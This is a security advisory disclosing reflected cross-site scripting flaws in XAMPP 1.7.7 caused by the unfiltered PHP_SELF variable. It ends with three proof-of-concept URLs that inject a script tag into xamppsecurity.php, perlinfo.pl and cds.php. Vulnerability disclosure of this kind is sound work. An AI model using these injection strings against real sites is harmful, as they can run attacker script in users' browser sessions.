XAMPP 1.7.7 Cross Site Scripting

`  
XAMPP 1.7.7 Multiple URI Based Cross-Site Scripting Vulnerabilities  
  
  
Vendor: Apache Friends  
Product web page: http://www.apachefriends.org  
Affected version: 1.7.7 (Windows)  
  
Summary: XAMPP is an easy to install Apache distribution containing  
MySQL, PHP and Perl.  
  
Desc: XAMPP suffers from multiple XSS issues in several scripts that  
use the 'PHP_SELF' variable. The vulnerabilities can be triggered in  
the 'xamppsecurity.php', 'cds.php' and 'perlinfo.pl' because there  
isn't any filtering to the mentioned variable in the affected scripts.  
Attackers can exploit these weaknesses to execute arbitrary HTML and  
script code in a user's browser session.  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
  
  
Advisory ID: ZSL-2011-5054  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5054.php  
  
  
06.11.2011  
  
--  
  
http://localhost/security/xamppsecurity.php/"><script>alert(1)</script>  
http://localhost/xampp/perlinfo.pl/"><script>alert(1)</script>  
http://localhost/xampp/cds.php/"><script>alert(1)</script>  
`